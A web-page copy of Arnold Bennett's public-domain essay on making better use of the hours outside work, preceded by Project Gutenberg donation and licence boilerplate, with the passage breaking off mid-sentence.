/>10000 2004 January*<br /><br /><br />The Project Gutenberg Literary Archive Foundation has been created<br />to secure a future for Project Gutenberg into the next millennium.<br /><br />We need your donations more than ever!<br /><br />As of February, 2002, contributions are being solicited from people<br />and organizations in: Alabama, Alaska, Arkansas, Connecticut,<br />Delaware, District of Columbia, Florida, Georgia, Hawaii, Illinois,<br />Indiana, Iowa, Kansas, Kentucky, Louisiana, Maine, Massachusetts,<br />Michigan, Mississippi, Missouri, Montana, Nebraska, Nevada, New<br />Hampshire, New Jersey, New Mexico, New York, North Carolina, Ohio,<br />Oklahoma, Oregon, Pennsylvania, Rhode Island, South Carolina, South<br />Dakota, Tennessee, Texas, Utah, Vermont, Virginia, Washington, West<br />Virginia, Wisconsin, and Wyoming.<br /><br />We have filed in all 50 states now, but these are the only ones<br />that have responded.<br /><br />As the requirements for other states are met, additions to this list<br />will be made and fund raising will begin in the additional states.<br />Please feel free to ask to check the status of your state.<br /><br />In answer to various questions we have received on this:<br /><br />We are constantly working on finishing the paperwork to legally<br />request donations in all 50 states. If your state is not listed and<br />you would like to know if we have added it since the list you have,<br />just ask.<br /><br />While we cannot solicit donations from people in states where we are<br />not yet registered, we know of no prohibition against accepting<br />donations from donors in these states who approach us with an offer to<br />donate.<br /><br />International donations are accepted, but we don't know ANYTHING about<br />how to make them tax-deductible, or even if they CAN be made<br />deductible, and don't have the staff to handle it even if there are<br />ways.<br /><br />Donations by check or money order may be sent to:<br /><br />Project Gutenberg Literary Archive Foundation<br />PMB 113<br />1739 University Ave.<br />Oxford, MS 38655-4109<br /><br />Contact us if you want to arrange for a wire transfer or payment<br />method other than by check or money order.<br /><br />The Project Gutenberg Literary Archive Foundation has been approved by<br />the US Internal Revenue Service as a 501(c)(3) organization with EIN<br />[Employee Identification Number] 64-622154. Donations are<br />tax-deductible to the maximum extent permitted by law. As fund-raising<br />requirements for other states are met, additions to this list will be<br />made and fund-raising will begin in the additional states.<br /><br />We need your donations more than ever!<br /><br />You can get up to date donation information online at:<br /><br /><br /><br /><br />***<br /><br />If you can't reach Project Gutenberg,<br />you can always email directly to:<br /><br />Michael S. Hart hart@pobox.com<br /><br />Prof. Hart will answer or forward your message.<br /><br />We would prefer to send you information by email.<br /><br /><br />**The Legal Small Print**<br /><br /><br />(Three Pages)<br /><br />***START**THE SMALL PRINT!**FOR PUBLIC DOMAIN EBOOKS**START***<br />Why is this "Small Print!" statement here? You know: lawyers.<br />They tell us you might sue us if there is something wrong with<br />your copy of this eBook, even if you got it for free from<br />someone other than us, and even if what's wrong is not our<br />fault. So, among other things, this "Small Print!" statement<br />disclaims most of our liability to you. It also tells you how<br />you may distribute copies of this eBook if you want to.<br /><br />*BEFORE!* YOU USE OR READ THIS EBOOK<br />By using or reading any part of this PROJECT GUTENBERG-tm<br />eBook, you indicate that you understand, agree to and accept<br />this "Small Print!" statement. If you do not, you can receive<br />a refund of the money (if any) you paid for this eBook by<br />sending a request within 30 days of receiving it to the person<br />you got it from. If you received this eBook on a physical<br />medium (such as a disk), you must return it with your request.<br /><br />ABOUT PROJECT GUTENBERG-TM EBOOKS<br />This PROJECT GUTENBERG-tm eBook, like most PROJECT GUTENBERG-tm eBooks,<br />is a "public domain" work distributed by Professor Michael S. Hart<br />through the Project Gutenberg Association (the "Project").<br />Among other things, this means that no one owns a United States copyright<br />on or for this work, so the Project (and you!) can copy and<br />distribute it in the United States without permission and<br />without paying copyright royalties. Special rules, set forth<br />below, apply if you wish to copy and distribute this eBook<br />under the "PROJECT GUTENBERG" trademark.<br /><br />Please do not use the "PROJECT GUTENBERG" trademark to market<br />any commercial products without permission.<br /><br />To create these eBooks, the Project expends considerable<br />efforts to identify, transcribe and proofread public domain<br />works. Despite these efforts, the Project's eBooks and any<br />medium they may be on may contain "Defects". Among other<br />things, Defects may take the form of incomplete, inaccurate or<br />corrupt data, transcription errors, a copyright or other<br />intellectual property infringement, a defective or damaged<br />disk or other eBook medium, a computer virus, or computer<br />codes that damage or cannot be read by your equipment.<br /><br />LIMITED WARRANTY; DISCLAIMER OF DAMAGES<br />But for the "Right of Replacement or Refund" described below,<br />[1] Michael Hart and the Foundation (and any other party you may<br />receive this eBook from as a PROJECT GUTENBERG-tm eBook) disclaims<br />all liability to you for damages, costs and expenses, including<br />legal fees, and [2] YOU HAVE NO REMEDIES FOR NEGLIGENCE OR<br />UNDER STRICT LIABILITY, OR FOR BREACH OF WARRANTY OR CONTRACT,<br />INCLUDING BUT NOT LIMITED TO INDIRECT, CONSEQUENTIAL, PUNITIVE<br />OR INCIDENTAL DAMAGES, EVEN IF YOU GIVE NOTICE OF THE<br />POSSIBILITY OF SUCH DAMAGES.<br /><br />If you discover a Defect in this eBook within 90 days of<br />receiving it, you can receive a refund of the money (if any)<br />you paid for it by sending an explanatory note within that<br />time to the person you received it from. If you received it<br />on a physical medium, you must return it with your note, and<br />such person may choose to alternatively give you a replacement<br />copy. If you received it electronically, such person may<br />choose to alternatively give you a second opportunity to<br />receive it electronically.<br /><br />THIS EBOOK IS OTHERWISE PROVIDED TO YOU "AS-IS". NO OTHER<br />WARRANTIES OF ANY KIND, EXPRESS OR IMPLIED, ARE MADE TO YOU AS<br />TO THE EBOOK OR ANY MEDIUM IT MAY BE ON, INCLUDING BUT NOT<br />LIMITED TO WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A<br />PARTICULAR PURPOSE.<br /><br />Some states do not allow disclaimers of implied warranties or<br />the exclusion or limitation of consequential damages, so the<br />above disclaimers and exclusions may not apply to you, and you<br />may have other legal rights.<br /><br />INDEMNITY<br />You will indemnify and hold Michael Hart, the Foundation,<br />and its trustees and agents, and any volunteers associated<br />with the production and distribution of Project Gutenberg-tm<br />texts harmless, from all liability, cost and expense, including<br />legal fees, that arise directly or indirectly from any of the<br />following that you do or cause: [1] distribution of this eBook,<br />[2] alteration, modification, or addition to the eBook,<br />or [3] any Defect.<br /><br />DISTRIBUTION UNDER "PROJECT GUTENBERG-tm"<br />You may distribute copies of this eBook electronically, or by<br />disk, book or any other medium if you either delete this<br />"Small Print!" and all other references to Project Gutenberg,<br />or:<br /><br />[1] Only give exact copies of it. Among other things, this<br /> requires that you do not remove, alter or modify the<br /> eBook or this "small print!" statement. You may however,<br /> if you wish, distribute this eBook in machine readable<br /> binary, compressed, mark-up, or proprietary form,<br /> including any form resulting from conversion by word<br /> processing or hypertext software, but only so long as<br /> *EITHER*:<br /><br /> [*] The eBook, when displayed, is clearly readable, and<br /> does *not* contain characters other than those<br /> intended by the author of the work, although tilde<br /> (~), asterisk (*) and underline (_) characters may<br /> be used to convey punctuation intended by the<br /> author, and additional characters may be used to<br /> indicate hypertext links; OR<br /><br /> [*] The eBook may be readily converted by the reader at<br /> no expense into plain ASCII, EBCDIC or equivalent<br /> form by the program that displays the eBook (as is<br /> the case, for instance, with most word processors);<br /> OR<br /><br /> [*] You provide, or agree to also provide on request at<br /> no additional cost, fee or expense, a copy of the<br /> eBook in its original plain ASCII form (or in EBCDIC<br /> or other equivalent proprietary form).<br /><br />[2] Honor the eBook refund and replacement provisions of this<br /> "Small Print!" statement.<br /><br />[3] Pay a trademark license fee to the Foundation of 20% of the<br /> gross profits you derive calculated using the method you<br /> already use to calculate your applicable taxes. If you<br /> don't derive profits, no royalty is due. Royalties are<br /> payable to "Project Gutenberg Literary Archive Foundation"<br /> the 60 days following each date you prepare (or were<br /> legally required to prepare) your annual (or equivalent<br /> periodic) tax return. Please contact us beforehand to<br /> let us know your plans and to work out the details.<img src="" height="1" width="1" alt=""/>Serge Lopez to Live on 24 Hours a DayPRECAUTIONS BEFORE BEGINNING<br /><br />Now that I have succeeded (if succeeded I have) in persuading you to<br />admit to yourself that you are constantly haunted by a suppressed<br />dissatisfaction with your own arrangement of your daily life; and<br />that the primal cause of that inconvenient dissatisfaction is the<br />feeling that you are every day leaving undone something which you<br />would like to do, and which, indeed, you are always hoping to do<br />when you have "more time"; and now that I have drawn your attention<br />to the glaring, dazzling truth that you never will have "more time,"<br />since you already have all the time there is--you expect me to let<br />you into some wonderful secret by which you may at any rate approach<br />the ideal of a perfect arrangement of the day, and by which,<br />therefore, that haunting, unpleasant, daily disappointment of things<br />left undone will be got rid of!<br /><br />I have found no such wonderful secret. Nor do I expect to find it,<br />nor do I expect that anyone else will ever find it. It is<br />undiscovered. When you first began to gather my drift, perhaps<br />there was a resurrection of hope in your breast. Perhaps you said<br />to yourself, "This man will show me an easy, unfatiguing way of<br />doing what I have so long in vain wished to do." Alas, no! The<br />fact is that there is no easy way, no royal road. The path to Mecca<br />is extremely hard and stony, and the worst of it is that you never<br />quite get there after all.<br /><br />The most important preliminary to the task of arranging one's life<br />so that one may live fully and comfortably within one's daily budget<br />of twenty-four hours is the calm realisation of the extreme<br />difficulty of the task, of the sacrifices and the endless effort<br />which it demands. I cannot too strongly insist on this.<br /><br />If you imagine that you will be able to achieve your ideal by<br />ingeniously planning out a time-table with a pen on a piece of<br />paper, you had better give up hope at once. If you are not prepared<br />for discouragements and disillusions; if you will not be content<br />with a small result for a big effort, then do not begin. Lie down<br />again and resume the uneasy doze which you call your existence.<br /><br />It is very sad, is it not, very depressing and sombre? And yet I<br />think it is rather fine, too, this necessity for the tense bracing<br />of the will before anything worth doing can be done. I rather like<br />it myself. I feel it to be the chief thing that differentiates me<br />from the cat by the fire.<br /><br />"Well," you say, "assume that I am braced for the battle. Assume<br />that I have carefully weighed and comprehended your ponderous<br />remarks; how do I begin?" Dear sir, you simply begin. There is no<br />magic method of beginning. If a man standing on the edge of a<br />swimming-bath and wanting to jump into the cold water should ask<br />you, "How do I begin to jump?" you would merely reply, "Just jump.<br />Take hold of your nerves, and jump."<br /><br />As I have previously said, the chief beauty about the constant<br />supply of time is that you cannot waste it in advance. The next<br />year, the next day, the next hour are lying ready for you, as<br />perfect, as unspoilt, as if you had never wasted or misapplied a<br />single moment in all your career. Which fact is very gratifying and<br />reassuring. You can turn over a new leaf every hour if you choose.<br />Therefore no object is served in waiting till next week, or even<br />until to-morrow. You may fancy that the water will be warmer next<br />week. It won't. It will be colder.<br /><br />But before you begin, let me murmur a few words of warning in your<br />private ear.<br /><br />Let me principally warn you against your own ardour. Ardour in<br />well-doing is a misleading and a treacherous thing. It cries out<br />loudly for employment; you can't satisfy it at first; it wants more<br />and more; it is eager to move mountains and divert the course of<br />rivers. It isn't content till it perspires. And then, too often,<br />when it feels the perspiration on its brow, it wearies all of a<br />sudden and dies, without even putting itself to the trouble of<br />saying, "I've had enough of this."<br /><br />Beware of undertaking too much at the start. Be content with quite<br />a little. Allow for accidents. Allow for human nature, especially<br />your own.<br /><br />A failure or so, in itself, would not matter, if it did not incur a<br />loss of self-esteem and of self-confidence. But just as nothing<br />succeeds like success, so nothing fails like failure. Most people<br />who are ruined are ruined by attempting too much. Therefore, in<br />setting out on the immense enterprise of living fully and<br />comfortably within the narrow limits of twenty-four hours a day, let<br />us avoid at any cost the risk of an early failure. I will not agree<br />that, in this business at any rate, a glorious failure is better<br />than a petty success. I am all for the petty success. A glorious<br />failure leads to nothing; a petty success may lead to a success that<br />is not petty.<br /><br />So let us begin to examine the budget of the day's time. You say<br />your day is already full to overflowing. How? You actually spend<br />in earning your livelihood--how much? Seven hours, on the average?<br />And in actual sleep, seven? I will add two hours, and be generous.<br />And I will defy you to account to me on the spur of the moment for<br />the other eight hours.<br /><br /><br />THE CAUSE OF THE TROUBLES<br /><br />In order to come to grips at once with the question of time-<br />expenditure in all its actuality, I must choose an individual case<br />for examination. I can only deal with one case, and that case<br />cannot be the average case, because there is no such case as the<br />average case, just as there is no such man as the average man.<br />Every man and every man's case is special.<br /><br />But if I take the case of a Londoner who works in an office, whose<br />office hours are from ten to six, and who spends fifty minutes<br />morning and night in travelling between his house door and his<br />office door, I shall have got as near to the average as facts<br />permit. There are men who have to work longer for a living, but<br />there are others who do not have to work so long.<br /><br />Fortunately the financial side of existence does not interest us<br />here; for our present purpose the clerk at a pound a week is exactly<br />as well off as the millionaire in Carlton House-terrace.<br /><br />Now the great and profound mistake which my typical man makes in<br />regard to his day is a mistake of general attitude, a mistake which<br />vitiates and weakens two-thirds of his energies and interests. In<br />the majority of instances he does not precisely feel a passion for<br />his business; at best he does not dislike it. He begins his<br />business functions with reluctance, as late as he can, and he ends<br />them with joy, as early as he can. And his engines while he is<br />engaged in his business are seldom at their full "h.p." (I know<br />that I shall be accused by angry readers of traducing the city<br />worker; but I am pretty thoroughly acquainted with the City, and I<br />stick to what I say.)<br /><br />Yet in spite of all this he persists in looking upon those hours<br />from ten to six as "the day," to which the ten hours preceding them<br />and the six hours following them are nothing but a prologue and<br />epilogue. Such an attitude, unconscious though it be, of course<br />kills his interest in the odd sixteen hours, with the result that,<br />even if he does not waste them, he does not count them; he regards<br />them simply as margin.<br /><br />This general attitude is utterly illogical and unhealthy, since it<br />formally gives the central prominence to a patch of time and a bunch<br />of activities which the man's one idea is to "get through" and have<br />"done with." If a man makes two-thirds of his existence subservient<br />to one-third, for which admittedly he has no absolutely feverish<br />zest, how can he hope to live fully and completely? He cannot.<br /><br />If my typical man wishes to live fully and completely he must, in<br />his mind, arrange a day within a day. And this inner day, a Chinese<br />box in a larger Chinese box, must begin at 6 p.m. and end at 10 a.m.<br />It is a day of sixteen hours; and during all these sixteen hours he<br />has nothing whatever to do but cultivate his body and his soul and<br />his fellow men. During those sixteen hours he is free; he is not a<br />wage-earner; he is not preoccupied with monetary cares; he is just<br />as good as a man with a private income. This must be his attitude.<br />And his attitude is all important. His success in life (much more<br />important than the amount of estate upon what his executors will<br />have to pay estate duty) depends on it.<br /><br />What? You say that full energy given to those sixteen hours will<br />lessen the value of the business eight? Not so. On the contrary,<br />it will assuredly increase the value of the business eight. One of<br />the chief things which my typical man has to learn is that the<br />mental faculties are capable of a continuous hard activity; they do<br />not tire like an arm or a leg. All they want is change--not rest,<br />except in sleep.<br /><br />I shall now examine the typical man's current method of employing<br />the sixteen hours that are entirely his, beginning with his<br />uprising. I will merely indicate things which he does and which I<br />think he ought not to do, postponing my suggestions for "planting"<br />the times which I shall have cleared--as a settler clears spaces in<br />a forest.<br /><br />In justice to him I must say that he wastes very little time before<br />he leaves the house in the morning at 9.10. In too many houses he<br />gets up at nine, breakfasts between 9.7 and 9.9 1/2, and then bolts.<br />But immediately he bangs the front door his mental faculties, which<br />are tireless, become idle. He walks to the station in a condition<br />of mental coma. Arrived there, he usually has to wait for the<br />train. On hundreds of suburban stations every morning you see men<br />calmly strolling up and down platforms while railway companies<br />unblushingly rob them of time, which is more than money. Hundreds<br />of thousands of hours are thus lost every day simply because my<br />typical man thinks so little of time that it has never occurred to<br />him to take quite easy precautions against the risk of its loss.<br /><br />He has a solid coin of time to spend every day--call it a sovereign.<br />He must get change for it, and in getting change he is content to<br />lose heavily.<br /><br />Supposing that in selling him a ticket the company said, "We will<br />change you a sovereign, but we shall charge you three halfpence for<br />doing so," what would my typical man exclaim? Yet that is the<br />equivalent of what the company does when it robs him of five minutes<br />twice a day.<br /><br />You say I am dealing with minutiae. I am. And later on I will<br />justify myself.<br /><br />Now will you kindly buy your paper and step into the train?<br /><br /><br />TENNIS AND THE IMMORTAL SOUL<br /><br />You get into the morning train with your newspaper, and you calmly<br />and majestically give yourself up to your newspaper. You do not<br />hurry. You know you have at least half an hour of security in front<br />of you. As your glance lingers idly at the advertisements of<br />shipping and of songs on the outer pages, your air is the air of a<br />leisured man, wealthy in time, of a man from some planet where there<br />are a hundred and twenty-four hours a day instead of twenty-four. I<br />am an impassioned reader of newspapers. I read five English and two<br />French dailies, and the news-agents alone know how many weeklies,<br />regularly. I am obliged to mention this personal fact lest I should<br />be accused of a prejudice against newspapers when I say that I<br />object to the reading of newspapers in the morning train. Newspapers<br />are produced with rapidity, to be read with rapidity. There is no<br />place in my daily programme for newspapers. I read them as I may in<br />odd moments. But I do read them. The idea of devoting to them<br />thirty or forty consecutive minutes of wonderful solitude (for<br />nowhere can one more perfectly immerse one's self in one's self than<br />in a compartment full of silent, withdrawn, smoking males) is to me<br />repugnant. I cannot possibly allow you to scatter priceless pearls<br />of time with such Oriental lavishness. You are not the Shah of<br />time. Let me respectfully remind you that you have no more time than<br />I have. No newspaper reading in trains! I have already "put by"<br />about three-quarters of an hour for use.<br /><br />Now you reach your office. And I abandon you there till six<br />o'clock. I am aware that you have nominally an hour (often in<br />reality an hour and a half) in the midst of the day, less than half<br />of which time is given to eating. But I will leave you all that to<br />spend as you choose. You may read your newspapers then.<br /><br />I meet you again as you emerge from your office. You are pale and<br />tired. At any rate, your wife says you are pale, and you give her to<br />understand that you are tired. During the journey home you have<br />been gradually working up the tired feeling. The tired feeling<br />hangs heavy over the mighty suburbs of London like a virtuous and<br />melancholy cloud, particularly in winter. You don't eat immediately<br />on your arrival home. But in about an hour or so you feel as if you<br />could sit up and take a little nourishment. And you do. Then you<br />smoke, seriously; you see friends; you potter; you play cards; you<br />flirt with a book; you note that old age is creeping on; you take a<br />stroll; you caress the piano.... By Jove! a quarter past eleven.<br />You then devote quite forty minutes to thinking about going to bed;<br />and it is conceivable that you are acquainted with a genuinely good<br />whisky. At last you go to bed, exhausted by the day's work. Six<br />hours, probably more, have gone since you left the office--gone like<br />a dream, gone like magic, unaccountably gone!<br /><br />That is a fair sample case. But you say: "It's all very well for<br />you to talk. A man *is* tired. A man must see his friends. He<br />can't always be on the stretch." Just so. But when you arrange to<br />go to the theatre (especially with a pretty woman) what happens?<br />You rush to the suburbs; you spare no toil to make yourself glorious<br />in fine raiment; you rush back to town in another train; you keep<br />yourself on the stretch for four hours, if not five; you take her<br />home; you take yourself home. You don't spend three-quarters of an<br />hour in "thinking about" going to bed. You go. Friends and fatigue<br />have equally been forgotten, and the evening has seemed so<br />exquisitely long (or perhaps too short)! And do you remember that<br />time when you were persuaded to sing in the chorus of the amateur<br />operatic society, and slaved two hours every other night for three<br />months? Can you deny that when you have something definite to look<br />forward to at eventide, something that is to employ all your<br />energy--the thought of that something gives a glow and a more<br />intense vitality to the whole day?<br /><br />What I suggest is that at six o'clock you look facts in the face and<br />admit that you are not tired (because you are not, you know), and<br />that you arrange your evening so that it is not cut in the middle by<br />a meal. By so doing you will have a clear expanse of at least three<br />hours. I do not suggest that you should employ three hours every<br />night of your life in using up your mental energy. But I do suggest<br />that you might, for a commencement, employ an hour and a half every<br />other evening in some important and consecutive cultivation of the<br />mind. You will still be left with three evenings for friends,<br />bridge, tennis, domestic scenes, odd reading, pipes, gardening,<br />pottering, and prize competitions. You will still have the terrific<br />wealth of forty-five hours between 2 p.m. Saturday and 10 a.m.<br />Monday. If you persevere you will soon want to pass four evenings,<br />and perhaps five, in some sustained endeavour to be genuinely alive.<br />And you will fall out of that habit of muttering to yourself at<br />11.15 p.m., "Time to be thinking about going to bed." The man who<br />begins to go to bed forty minutes before he opens his bedroom door<br />is bored; that is to say, he is not living.<br /><br />But remember, at the start, those ninety nocturnal minutes thrice a<br />week must be the most important minutes in the ten thousand and<br />eighty. They must be sacred, quite as sacred as a dramatic<br />rehearsal or a tennis match. Instead of saying, "Sorry I can't see<br />you, old chap, but I have to run off to the tennis club," you must<br />say, "...but I have to work." This, I admit, is intensely difficult<br />to say. Tennis is so much more urgent than the immortal soul.<br /><br /><br />REMEMBER HUMAN NATURE<br /><br />I have incidentally mentioned the vast expanse of forty-four hours<br />between leaving business at 2 p.m. on Saturday and returning to<br />business at 10 a.m. on Monday. And here I must touch on the point<br />whether the week should consist of six days or of seven. For many<br />years--in fact, until I was approaching forty--my own week consisted<br />of seven days. I was constantly being informed by older and wiser<br />people that more work, more genuine living, could be got out of six<br />days than out of seven.<br /><br />And it is certainly true that now, with one day in seven in which I<br />follow no programme and make no effort save what the caprice of the<br />moment dictates, I appreciate intensely the moral value of a weekly<br />rest. Nevertheless, had I my life to arrange over again, I would do<br />again as I have done. Only those who have lived at the full stretch<br />seven days a week for a long time can appreciate the full beauty of<br />a regular recurring idleness. Moreover, I am ageing. And it is a<br />question of age. In cases of abounding youth and exceptional energy<br />and desire for effort I should say unhesitatingly: Keep going, day<br />in, day out.<br /><br />But in the average case I should say: Confine your formal programme<br />(super-programme, I mean) to six days a week. If you find yourself<br />wishing to extend it, extend it, but only in proportion to your<br />wish; and count the time extra as a windfall, not as regular income,<br />so that you can return to a six-day programme without the sensation<br />of being poorer, of being a backslider.<br /><br />Let us now see where we stand. So far we have marked for saving out<br />of the waste of days, half an hour at least on six mornings a week,<br />and one hour and a half on three evenings a week. Total, seven<br />hours and a half a week.<br /><br />I propose to be content with that seven hours and a half for the<br />present. "What?" you cry. "You pretend to show us how to live, and<br />you only deal with seven hours and a half out of a hundred and<br />sixty-eight! Are you going to perform a miracle with your seven<br />hours and a half?" Well, not to mince the matter, I am--if you will<br />kindly let me! That is to say, I am going to ask you to attempt an<br />experience which, while perfectly natural and explicable, has all<br />the air of a miracle. My contention is that the full use of those<br />seven-and-a-half hours will quicken the whole life of the week, add<br />zest to it, and increase the interest which you feel in even the<br />most banal occupations. You practise physical exercises for a mere<br />ten minutes morning and evening, and yet you are not astonished when<br />your physical health and strength are beneficially affected every<br />hour of the day, and your whole physical outlook changed. Why<br />should you be astonished that an average of over an hour a day given<br />to the mind should permanently and completely enliven the whole<br />activity of the mind?<br /><br />More time might assuredly be given to the cultivation of one's self.<br />And in proportion as the time was longer the results would be<br />greater. But I prefer to begin with what looks like a trifling<br />effort.<br /><br />It is not really a trifling effort, as those will discover who have<br />yet to essay it. To "clear" even seven hours and a half from the<br />jungle is passably difficult. For some sacrifice has to be made.<br />One may have spent one's time badly, but one did spend it; one did<br />do something with it, however ill-advised that something may have<br />been. To do something else means a change of habits.<br /><br />And habits are the very dickens to change! Further, any change,<br />even a change for the better, is always accompanied by drawbacks and<br />discomforts. If you imagine that you will be able to devote seven<br />hours and a half a week to serious, continuous effort, and still<br />live your old life, you are mistaken. I repeat that some sacrifice,<br />and an immense deal of volition, will be necessary. And it is<br />because I know the difficulty, it is because I know the almost<br />disastrous effect of failure in such an enterprise, that I earnestly<br />advise a very humble beginning. You must safeguard your self-<br />respect. Self-respect is at the root of all purposefulness, and a<br />failure in an enterprise deliberately planned deals a desperate<br />wound at one's self-respect. Hence I iterate and reiterate: Start<br />quietly, unostentatiously.<br /><br />When you have conscientiously given seven hours and a half a week to<br />the cultivation of your vitality for three months--then you may<br />begin to sing louder and tell yourself what wondrous things you are<br />capable of doing.<br /><br />Before coming to the method of using the indicated hours, I have one<br />final suggestion to make. That is, as regards the evenings, to<br />allow much more than an hour and a half in which to do the work of<br />an hour and a half. Remember the chance of accidents. Remember<br />human nature. And give yourself, say, from 9 to 11.30 for your task<br />of ninety minutes.<br /><br /><br />CONTROLLING THE MIND<br /><br />People say: "One can't help one's thoughts." But one can. The<br />control of the thinking machine is perfectly possible. And since<br />nothing whatever happens to us outside our own brain; since nothing<br />hurts us or gives us pleasure except within the brain, the supreme<br />importance of being able to control what goes on in that mysterious<br />brain is patent. This idea is one of the oldest platitudes, but it<br />is a platitude whose profound truth and urgency most people live and<br />die without realising. People complain of the lack of power to<br />concentrate, not witting that they may acquire the power, if they<br />choose.<br /><br />And without the power to concentrate--that is to say, without the<br />power to dictate to the brain its task and to ensure obedience--true<br />life is impossible. Mind control is the first element of a full<br />existence.<br /><br />Hence, it seems to me, the first business of the day should be to<br />put the mind through its paces. You look after your body, inside<br />and out; you run grave danger in hacking hairs off your skin; you<br />employ a whole army of individuals, from the milkman to the pig-<br />killer, to enable you to bribe your stomach into decent behaviour.<br />Why not devote a little attention to the far more delicate machinery<br />of the mind, especially as you will require no extraneous aid? It<br />is for this portion of the art and craft of living that I have<br />reserved the time from the moment of quitting your door to the<br />moment of arriving at your office.<br /><br />"What? I am to cultivate my mind in the street, on the platform, in<br />the train, and in the crowded street again?" Precisely. Nothing<br />simpler! No tools required! Not even a book. Nevertheless, the<br />affair is not easy.<br /><br />When you leave your house, concentrate your mind on a subject (no<br />matter what, to begin with). You will not have gone ten yards<br />before your mind has skipped away under your very eyes and is<br />larking round the corner with another subject.<br /><br />Bring it back by the scruff of the neck. Ere you have reached the<br />station you will have brought it back about forty times. Do not<br />despair. Continue. Keep it up. You will succeed. You cannot by<br />any chance fail if you persevere. It is idle to pretend that your<br />mind is incapable of concentration. Do you not remember that morning<br />when you received a disquieting letter which demanded a very<br />carefully-worded answer? How you kept your mind steadily on the<br />subject of the answer, without a second's intermission, until you<br />reached your office; whereupon you instantly sat down and wrote the<br />answer? That was a case in which *you* were roused by circumstances<br />to such a degree of vitality that you were able to dominate your<br />mind like a tyrant. You would have no trifling. You insisted that<br />its work should be done, and its work was done.<br /><br />By the regular practice of concentration (as to which there is no<br />secret--save the secret of perseverance) you can tyrannise over<br />your mind (which is not the highest part of *you*) every hour of the<br />day, and in no matter what place. The exercise is a very convenient<br />one. If you got into your morning train with a pair of dumb-bells<br />for your muscles or an encyclopaedia in ten volumes for your<br />learning, you would probably excite remark. But as you walk in the<br />street, or sit in the corner of the compartment behind a pipe, or<br />"strap-hang" on the Subterranean, who is to know that you are<br />engaged in the most important of daily acts? What asinine boor can<br />laugh at you?<br /><br />I do not care what you concentrate on, so long as you concentrate.<br />It is the mere disciplining of the thinking machine that counts.<br />But still, you may as well kill two birds with one stone, and<br />concentrate on something useful. I suggest--it is only a<br />suggestion--a little chapter of Marcus Aurelius or Epictetus.<br /><br />Do not, I beg, shy at their names. For myself, I know nothing more<br />"actual," more bursting with plain common-sense, applicable to the<br />daily life of plain persons like you and me (who hate airs, pose,<br />and nonsense) than Marcus Aurelius or Epictetus. Read a chapter--<br />and so short they are, the chapters!--in the evening and<br />concentrate on it the next morning. You will see.<br /><br />Yes, my friend, it is useless for you to try to disguise the fact.<br />I can hear your brain like a telephone at my ear. You are saying to<br />yourself: "This fellow was doing pretty well up to his seventh<br />chapter. He had begun to interest me faintly. But what he says<br />about thinking in trains, and concentration, and so on, is not for<br />me. It may be well enough for some folks, but it isn't in my line."<br /><br />It is for you, I passionately repeat; it is for you. Indeed, you<br />are the very man I am aiming at.<br /><br />Throw away the suggestion, and you throw away the most precious<br />suggestion that was ever offered to you. It is not my suggestion.<br />It is the suggestion of the most sensible, practical, hard-headed<br />men who have walked the earth. I only give it you at second-hand.<br />Try it. Get your mind in hand. And see how the process cures half<br />the evils of life--especially worry, that miserable, avoidable,<br />shameful disease--worry!<br /><br /><br />THE REFLECTIVE MOOD<br /><br />The exercise of concentrating the mind (to which at least half an<br />hour a day should be given) is a mere preliminary, like scales on<br />the piano. Having acquired power over that most unruly member of<br />one's complex organism, one has naturally to put it to the yoke.<br />Useless to possess an obedient mind unless one profits to the<br />furthest possible degree by its obedience. A prolonged primary<br />course of study is indicated.<br /><br />Now as to what this course of study should be there cannot be any<br />question; there never has been any question. All the sensible<br />people of all ages are agreed upon it. And it is not literature,<br />nor is it any other art, nor is it history, nor is it any science.<br />It is the study of one's self. Man, know thyself. These words are<br />so hackneyed that verily I blush to write them. Yet they must be<br />written, for they need to be written. (I take back my blush, being<br />ashamed of it.) Man, know thyself. I say it out loud. The phrase<br />is one of those phrases with which everyone is familiar, of which<br />everyone acknowledges the value, and which only the most sagacious<br />put into practice. I don't know why. I am entirely convinced that<br />what is more than anything else lacking in the life of the average<br />well-intentioned man of to-day is the reflective mood.<br /><br />We do not reflect. I mean that we do not reflect upon genuinely<br />important things; upon the problem of our happiness, upon the main<br />direction in which we are going, upon what life is giving to us,<br />upon the share which reason has (or has not) in determining our<br />actions, and upon the relation between our principles and our<br />conduct.<br /><br />And yet you are in search of happiness, are you not? Have you<br />discovered it?<br /><br />The chances are that you have not. The chances are that you have<br />already come to believe that happiness is unattainable. But men<br />have attained it. And they have attained it by realising that<br />happiness does not spring from the procuring of physical or mental<br />pleasure, but from the development of reason and the adjustment of<br />conduct to principles.<br /><br />I suppose that you will not have the audacity to deny this. And if<br />you admit it, and still devote no part of your day to the deliberate<br />consideration of your reason, principles, and conduct, you admit<br />also that while striving for a certain thing you are regularly<br />leaving undone the one act which is necessary to the attainment of<br />that thing.<br /><br />Now, shall I blush, or will you?<br /><br />Do not fear that I mean to thrust certain principles upon your<br />attention. I care not (in this place) what your principles are.<br />Your principles may induce you to believe in the righteousness of<br />burglary. I don't mind. All I urge is that a life in which conduct<br />does not fairly well accord with principles is a silly life; and<br />that conduct can only be made to accord with principles by means of<br />daily examination, reflection, and resolution. What leads to the<br />permanent sorrowfulness of burglars is that their principles are<br />contrary to burglary. If they genuinely believed in the moral<br />excellence of burglary, penal servitude would simply mean so many<br />happy years for them; all martyrs are happy, because their conduct<br />and their principles agree.<br /><br />As for reason (which makes conduct, and is not unconnected with the<br />making of principles), it plays a far smaller part in our lives than<br />we fancy. We are supposed to be reasonable but we are much more<br />instinctive than reasonable. And the less we reflect, the less<br />reasonable we shall be. The next time you get cross with the waiter<br />because your steak is over-cooked, ask reason to step into the<br />cabinet-room of your mind, and consult her. She will probably tell<br />you that the waiter did not cook the steak, and had no control over<br />the cooking of the steak; and that even if he alone was to blame,<br />you accomplished nothing good by getting cross; you merely lost your<br />dignity, looked a fool in the eyes of sensible men, and soured the<br />waiter, while producing no effect whatever on the steak.<br /><br />The result of this consultation with reason (for which she makes no<br />charge) will be that when once more your steak is over-cooked you<br />will treat the waiter as a fellow-creature, remain quite calm in a<br />kindly spirit, and politely insist on having a fresh steak. The<br />gain will be obvious and solid.<br /><br />In the formation or modification of principles, and the practice of<br />conduct, much help can be derived from printed books (issued at<br />sixpence each and upwards). I mentioned in my last chapter Marcus<br />Aurelius and Epictetus. Certain even more widely known works will<br />occur at once to the memory. I may also mention Pascal, La Bruyere,<br />and Emerson. For myself, you do not catch me travelling without my<br />Marcus Aurelius. Yes, books are valuable. But not reading of books<br />will take the place of a daily, candid, honest examination of 